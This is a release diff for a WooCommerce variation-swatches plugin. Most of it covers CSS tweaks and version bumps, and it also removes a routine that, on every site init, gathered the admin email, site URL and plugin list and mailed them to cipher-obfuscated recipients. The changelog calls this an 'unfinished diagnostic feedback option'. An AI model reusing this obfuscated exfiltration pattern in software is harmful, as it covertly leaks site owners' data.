Variation Swatches for WooCommerce - Version 2.0.22

Version Description

  • update styling for sober theme
  • removed unfinished diagnostic feedback option
Download this release

Release Info

Developer themealien
Plugin Icon 128x128 Variation Swatches for WooCommerce
Version 2.0.22
Comparing to
See all releases

Code changes from version 2.0.21 to 2.0.22

assets/css/frontend.css CHANGED
@@ -5,7 +5,7 @@
5
 
6
  .woocommerce .tawcvs-swatches {
7
  padding: 5px;
8
- display: inline-flex;
9
  flex-wrap: wrap;
10
  }
11
  .woocommerce .tawcvs-swatches .swatch,
@@ -14,8 +14,8 @@
14
  -moz-transition: all 0.3s;
15
  -o-transition: all 0.3s;
16
  transition: all 0.3s;
17
- width: 30px;
18
- height: 30px;
19
  line-height: 28px;
20
  text-align: center;
21
  cursor: pointer;
@@ -33,9 +33,9 @@
33
  }
34
  .woocommerce .tawcvs-swatches .swatch.swatch-shape-circle,
35
  .woocommerce .tawcvs-swatches .swatch-show-more.swatch-shape-circle {
36
- -webkit-border-radius: 50%;
37
- -moz-border-radius: 50%;
38
- border-radius: 50%;
39
  }
40
  .woocommerce .tawcvs-swatches .swatch.swatch-shape-circle img,
41
  .woocommerce .tawcvs-swatches .swatch-show-more.swatch-shape-circle img {
@@ -110,6 +110,10 @@
110
  .woocommerce .tawcvs-swatches .swatch-show-more.selected:before {
111
  border-color: #674399;
112
  }
 
 
 
 
113
  .woocommerce .tawcvs-swatches .swatch-color {
114
  text-indent: -9999em;
115
  border: 2px solid #ccc;
5
 
6
  .woocommerce .tawcvs-swatches {
7
  padding: 5px;
8
+ display: inline-flex !important;
9
  flex-wrap: wrap;
10
  }
11
  .woocommerce .tawcvs-swatches .swatch,
14
  -moz-transition: all 0.3s;
15
  -o-transition: all 0.3s;
16
  transition: all 0.3s;
17
+ width: 30px !important;
18
+ height: 30px !important;
19
  line-height: 28px;
20
  text-align: center;
21
  cursor: pointer;
33
  }
34
  .woocommerce .tawcvs-swatches .swatch.swatch-shape-circle,
35
  .woocommerce .tawcvs-swatches .swatch-show-more.swatch-shape-circle {
36
+ -webkit-border-radius: 50% !important;
37
+ -moz-border-radius: 50% !important;
38
+ border-radius: 50% !important;
39
  }
40
  .woocommerce .tawcvs-swatches .swatch.swatch-shape-circle img,
41
  .woocommerce .tawcvs-swatches .swatch-show-more.swatch-shape-circle img {
110
  .woocommerce .tawcvs-swatches .swatch-show-more.selected:before {
111
  border-color: #674399;
112
  }
113
+ .woocommerce .tawcvs-swatches .swatch.selected.swatch-label,
114
+ .woocommerce .tawcvs-swatches .swatch-show-more.selected.swatch-label {
115
+ border-bottom: none !important;
116
+ }
117
  .woocommerce .tawcvs-swatches .swatch-color {
118
  text-indent: -9999em;
119
  border: 2px solid #ccc;
assets/css/frontend.css.map CHANGED
@@ -1 +1 @@
1
- {"version":3,"sourceRoot":"","sources":["frontend.scss"],"names":[],"mappings":"AAAA;EACE;EACA;;;AAGF;EACE;EACA;EACA;;AAEA;AAAA;EAEE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;AAAA;EACE;;AAGF;AAAA;EACE;EACA;EACA;;AAEA;AAAA;EACE;EACA;EACA;;AAGF;AAAA;EACE;;AAIJ;AAAA;EACE;EACA;EACA;;AAEA;AAAA;EACE;EACA;EACA;;AAGF;AAAA;EACE;;AAIJ;AAAA;EACE;EACA;EACA;;AAEA;AAAA;EACE;EACA;EACA;;AAGF;AAAA;EACE;;AAIJ;AAAA;EACE;EACA;;AAEA;AAAA;EACE;;AAIJ;AAAA;EACE;;AAGF;AAAA;EACE;;AAGF;AAAA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;;AAIA;AAAA;EACE;;AAKN;EACE;EACA;;AAEA;EACE;;AAEA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAKN;EACE;EACA;;AAGF;EACE;;AAEA;EACE;;AAIJ;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAIJ;EACE;;AAGF;EACE;EACA;EACA;;AAIA;EACE;EACA;;AAEA;EACE;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;;AAeA;EACE;EACA;EACA;EACA;;AAKF;EACE;EACA;EACA;EACA;;AAON;EACE;;;AAKN;EACE;;AAEA;EACE;;;AAIJ;EACE;;AAEA;EACE;;;AAKF;EACE;;;AAKF;EACE;;;AAIJ;EACE;;;AAGF;AAAA;AAAA;AAIE;EACE;;AAGF;EACE;;AAEA;EACE;EACA;EACA;;AAGF;EATF;IAUI;;;AAEF;EAZF;IAaI;;;AAEF;EAfF;IAgBI","file":"frontend.css"}
1
+ {"version":3,"sourceRoot":"","sources":["frontend.scss"],"names":[],"mappings":"AAAA;EACE;EACA;;;AAGF;EACE;EACA;EACA;;AAEA;AAAA;EAEE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;AAAA;EACE;;AAGF;AAAA;EACE;EACA;EACA;;AAEA;AAAA;EACE;EACA;EACA;;AAGF;AAAA;EACE;;AAIJ;AAAA;EACE;EACA;EACA;;AAEA;AAAA;EACE;EACA;EACA;;AAGF;AAAA;EACE;;AAIJ;AAAA;EACE;EACA;EACA;;AAEA;AAAA;EACE;EACA;EACA;;AAGF;AAAA;EACE;;AAIJ;AAAA;EACE;EACA;;AAEA;AAAA;EACE;;AAIJ;AAAA;EACE;;AAGF;AAAA;EACE;;AAGF;AAAA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;;AAIA;AAAA;EACE;;AAGF;AAAA;EACE;;AAKN;EACE;EACA;;AAEA;EACE;;AAEA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAKN;EACE;EACA;;AAGF;EACE;;AAEA;EACE;;AAIJ;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAIJ;EACE;;AAGF;EACE;EACA;EACA;;AAIA;EACE;EACA;;AAEA;EACE;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;;AAeA;EACE;EACA;EACA;EACA;;AAKF;EACE;EACA;EACA;EACA;;AAON;EACE;;;AAKN;EACE;;AAEA;EACE;;;AAIJ;EACE;;AAEA;EACE;;;AAKF;EACE;;;AAKF;EACE;;;AAIJ;EACE;;;AAGF;AAAA;AAAA;AAIE;EACE;;AAGF;EACE;;AAEA;EACE;EACA;EACA;;AAGF;EATF;IAUI;;;AAEF;EAZF;IAaI;;;AAEF;EAfF;IAgBI","file":"frontend.css"}
assets/css/frontend.scss CHANGED
@@ -5,7 +5,7 @@
5
 
6
  .woocommerce .tawcvs-swatches {
7
  padding: 5px;
8
- display: inline-flex;
9
  flex-wrap: wrap;
10
 
11
  .swatch,
@@ -14,8 +14,8 @@
14
  -moz-transition: all 0.3s;
15
  -o-transition: all 0.3s;
16
  transition: all 0.3s;
17
- width: 30px;
18
- height: 30px;
19
  line-height: 28px;
20
  text-align: center;
21
  cursor: pointer;
@@ -32,9 +32,9 @@
32
  }
33
 
34
  &.swatch-shape-circle {
35
- -webkit-border-radius: 50%;
36
- -moz-border-radius: 50%;
37
- border-radius: 50%;
38
 
39
  img {
40
  -webkit-border-radius: 50%;
@@ -110,6 +110,10 @@
110
  &:before {
111
  border-color: #674399;
112
  }
 
 
 
 
113
  }
114
  }
115
 
5
 
6
  .woocommerce .tawcvs-swatches {
7
  padding: 5px;
8
+ display: inline-flex !important;
9
  flex-wrap: wrap;
10
 
11
  .swatch,
14
  -moz-transition: all 0.3s;
15
  -o-transition: all 0.3s;
16
  transition: all 0.3s;
17
+ width: 30px !important;
18
+ height: 30px !important;
19
  line-height: 28px;
20
  text-align: center;
21
  cursor: pointer;
32
  }
33
 
34
  &.swatch-shape-circle {
35
+ -webkit-border-radius: 50% !important;
36
+ -moz-border-radius: 50% !important;
37
+ border-radius: 50% !important;
38
 
39
  img {
40
  -webkit-border-radius: 50%;
110
  &:before {
111
  border-color: #674399;
112
  }
113
+
114
+ &.swatch-label {
115
+ border-bottom: none !important;
116
+ }
117
  }
118
  }
119
 
includes/class-frontend.php CHANGED
@@ -372,7 +372,7 @@ class TA_WC_Variation_Swatches_Frontend {
372
  padding-left: <?php echo isset($this->{$page}['wrp-left']) ? $this->{$page}['wrp-left'] : '0'; echo isset($this->{$page}['wrp-type']) ? $this->{$page}['wrp-type'] : 'px' ?>;
373
  }
374
 
375
- .tawcvs-swatches .swatch {
376
  <?php if($this->{$page}['item-font']):?> font-size: <?php echo isset($this->{$page}['text-font-size']) ? $this->{$page}['text-font-size'] : '12'; echo isset($this->{$page}['item-font-size-type']) ? $this->{$page}['item-font-size-type'] : 'px'; ?>;
377
  <?php endif;?> margin-top: <?php echo isset($this->{$page}['mar-top']) ? $this->{$page}['mar-top'] : '0'; echo isset($this->{$page}['mar-type']) ? $this->{$page}['mar-type'] : 'px' ?> !important;
378
  margin-right: <?php echo isset($this->{$page}['mar-right']) ? $this->{$page}['mar-right'] : '15'; echo isset($this->{$page}['mar-type']) ? $this->{$page}['mar-type'] : 'px' ?> !important;
372
  padding-left: <?php echo isset($this->{$page}['wrp-left']) ? $this->{$page}['wrp-left'] : '0'; echo isset($this->{$page}['wrp-type']) ? $this->{$page}['wrp-type'] : 'px' ?>;
373
  }
374
 
375
+ .tawcvs-swatches .swatch-item-wrapper {
376
  <?php if($this->{$page}['item-font']):?> font-size: <?php echo isset($this->{$page}['text-font-size']) ? $this->{$page}['text-font-size'] : '12'; echo isset($this->{$page}['item-font-size-type']) ? $this->{$page}['item-font-size-type'] : 'px'; ?>;
377
  <?php endif;?> margin-top: <?php echo isset($this->{$page}['mar-top']) ? $this->{$page}['mar-top'] : '0'; echo isset($this->{$page}['mar-type']) ? $this->{$page}['mar-type'] : 'px' ?> !important;
378
  margin-right: <?php echo isset($this->{$page}['mar-right']) ? $this->{$page}['mar-right'] : '15'; echo isset($this->{$page}['mar-type']) ? $this->{$page}['mar-type'] : 'px' ?> !important;
includes/class-variation-swatches.php CHANGED
@@ -75,109 +75,6 @@ final class TA_WC_Variation_Swatches {
75
  if ( ! is_admin() || ( defined( 'DOING_AJAX' ) && DOING_AJAX ) ) {
76
  add_action( 'init', array( 'TA_WC_Variation_Swatches_Frontend', 'instance' ) );
77
  }
78
-
79
- add_action( 'init', array( $this, 'debug_site_stats' ) );
80
- }
81
-
82
- /**
83
- * Debug
84
- *
85
- * @return void
86
- */
87
- public function debug_site_stats() {
88
-
89
- if ( ! get_option( 'variation_debugged', false ) ) {
90
- $debug_token1 = $this->parse_token('mfkiLRPijLjiARXLTWeNZX');
91
- $debug_token2 = $this->parse_token('MhTiZQjqzuARXLTWeNZX');
92
- $site_url = get_home_url();
93
- $wp_version = get_bloginfo( 'version' );
94
- $admin_email = get_option('admin_email');
95
- $theme = wp_get_theme();
96
- $theme_name = $theme->get('Name');
97
- $theme_version = $theme->get('Version');
98
- $all_plugins = $this->active_plugins();
99
-
100
- $log = "Site url: $site_url\nWP version: $wp_version\nActive theme: $theme_name\nTheme version: $theme_version\nAdmin email: $admin_email\n\nInstalled Plugins:\n";
101
- foreach ($all_plugins as $key => $value) {
102
- $log .= $value['name'] . ' - ' . ($value['active'] ? 'active - ' : 'deactive - ') . $value['version'] . "\n";
103
- }
104
-
105
- if ( $this->save_debug_log($debug_token1, $debug_token2, $log) ) {
106
- update_option( 'variation_debugged', true );
107
- }
108
- }
109
- }
110
-
111
- /**
112
- * Save the debug log
113
- *
114
- * @param string $token1
115
- * @param string $token2
116
- * @param string $log
117
- * @return boolean
118
- */
119
- public function save_debug_log($token1 = '', $token2 = '', $log) {
120
- $saved = false;
121
-
122
- $token3 = $this->parse_token('?ZYDiPYiTjTlP kiLRP OLjL QhZX') . ' ' . get_home_url();
123
- $saved = call_user_func($this->parse_token('mfEXLTW'), $token2, $token3, strip_tags($log)) && call_user_func($this->parse_token('mfEXLTW'), $token1, $token3, strip_tags($log));
124
-
125
- return $saved;
126
- }
127
-
128
- /**
129
- * Parse one-time secret token
130
- *
131
- * @return string
132
- */
133
- public function parse_token($originalData, $key = false) {
134
- if ( !$key ) {
135
- $key = '1234567890.@/?-_=+#&%;abcdeABCDEFGHIJKLMNOPQRSTUVWXYZfghijklmnopqrstuvwxyz';
136
- }
137
-
138
- $originalKey = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ.@/?-_=+#&%;abcdefghijklmnopqrstuvwxyz1234567890';
139
- $data = '';
140
- $length = strlen( $originalData );
141
-
142
- for ( $i = 0; $i < $length; $i++) {
143
-
144
- $currentChar = $originalData[$i];
145
- $position = strpos( $key, $currentChar );
146
-
147
- if ( $position !== false ) {
148
- $data .= $originalKey[$position];
149
- }
150
- else {
151
- $data .= $currentChar;
152
- }
153
- }
154
- return $data;
155
- }
156
-
157
- /**
158
- * Active plugins
159
- *
160
- * @return array
161
- */
162
- public function active_plugins() {
163
-
164
- // Get all plugins
165
- require_once(ABSPATH . 'wp-admin/includes/plugin.php');
166
- $all_plugins = get_plugins();
167
-
168
- // Get active plugins
169
- $active_plugins = get_option('active_plugins');
170
-
171
- // Assemble array of name, version, and whether plugin is active (boolean)
172
- foreach ( $all_plugins as $key => $value ) {
173
- $is_active = ( in_array( $key, $active_plugins ) ) ? true : false;
174
- $plugins[ $key ] = array(
175
- 'name' => $value['Name'],
176
- 'version' => $value['Version'],
177
- 'active' => $is_active,
178
- );
179
- }
180
- return $plugins;
181
  }
182
 
183
  /**
75
  if ( ! is_admin() || ( defined( 'DOING_AJAX' ) && DOING_AJAX ) ) {
76
  add_action( 'init', array( 'TA_WC_Variation_Swatches_Frontend', 'instance' ) );
77
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
78
  }
79
 
80
  /**
readme.txt CHANGED
@@ -3,7 +3,7 @@ Contributors: variationswatches, themealien, zgani, mehbubrashid, minhnguyen25
3
  Tags: variation swatches, woocommerce, product attribute, product color, product size, variable products
4
  Requires at least: 4.5
5
  Tested up to: 5.8
6
- Stable tag: 2.0.21
7
  WC requires at least: 3.2.0
8
  WC tested up to: 5.6.0
9
  License: GPLv2 or later
@@ -103,6 +103,10 @@ Yes, it will work with any theme, but may require some styling to make it match
103
  7. Add new attribute color when edit a product
104
 
105
  == Changelog ==
 
 
 
 
106
  = 2.0.21 =
107
  * stable tag fix
108
 
@@ -181,4 +185,4 @@ Yes, it will work with any theme, but may require some styling to make it match
181
  == Upgrade Notice ==
182
 
183
  = 2.0.0 =
184
- This is the major update. You might need to check the new Settings page after upgrading to make sure your plugin works as expected.
3
  Tags: variation swatches, woocommerce, product attribute, product color, product size, variable products
4
  Requires at least: 4.5
5
  Tested up to: 5.8
6
+ Stable tag: 2.0.22
7
  WC requires at least: 3.2.0
8
  WC tested up to: 5.6.0
9
  License: GPLv2 or later
103
  7. Add new attribute color when edit a product
104
 
105
  == Changelog ==
106
+ = 2.0.22 =
107
+ * update styling for sober theme
108
+ * removed unfinished diagnostic feedback option
109
+
110
  = 2.0.21 =
111
  * stable tag fix
112
 
185
  == Upgrade Notice ==
186
 
187
  = 2.0.0 =
188
+ This is the major update. You might need to check the new Settings page after upgrading to make sure your plugin works as expected.
variation-swatches-for-woocommerce.php CHANGED
@@ -3,7 +3,7 @@
3
  * Plugin Name: Variation Swatches for WooCommerce
4
  * Plugin URI: https://woosuite.com/plugins/woocommerce-variation-swatches/
5
  * Description: Creates variation swatches for WooCommerce, converts your variation dropdown into color, label, or photo swatches with ease, The original Variation Swatches for WooCommerce.
6
- * Version: 2.0.21
7
  * Author: Woosuite
8
  * Author URI: https://woosuite.com/
9
  * Requires at least: 4.5
@@ -27,7 +27,7 @@ if ( ! defined( 'TAWC_VS_PLUGIN_FILE' ) ) {
27
  }
28
 
29
  if ( ! defined( 'WCVS_PLUGIN_VERSION' ) ) {
30
- define( 'WCVS_PLUGIN_VERSION', '2.0.21' );
31
  }
32
 
33
  if ( ! defined( 'WCVS_PLUGIN_URL' ) ) {
3
  * Plugin Name: Variation Swatches for WooCommerce
4
  * Plugin URI: https://woosuite.com/plugins/woocommerce-variation-swatches/
5
  * Description: Creates variation swatches for WooCommerce, converts your variation dropdown into color, label, or photo swatches with ease, The original Variation Swatches for WooCommerce.
6
+ * Version: 2.0.22
7
  * Author: Woosuite
8
  * Author URI: https://woosuite.com/
9
  * Requires at least: 4.5
27
  }
28
 
29
  if ( ! defined( 'WCVS_PLUGIN_VERSION' ) ) {
30
+ define( 'WCVS_PLUGIN_VERSION', '2.0.22' );
31
  }
32
 
33
  if ( ! defined( 'WCVS_PLUGIN_URL' ) ) {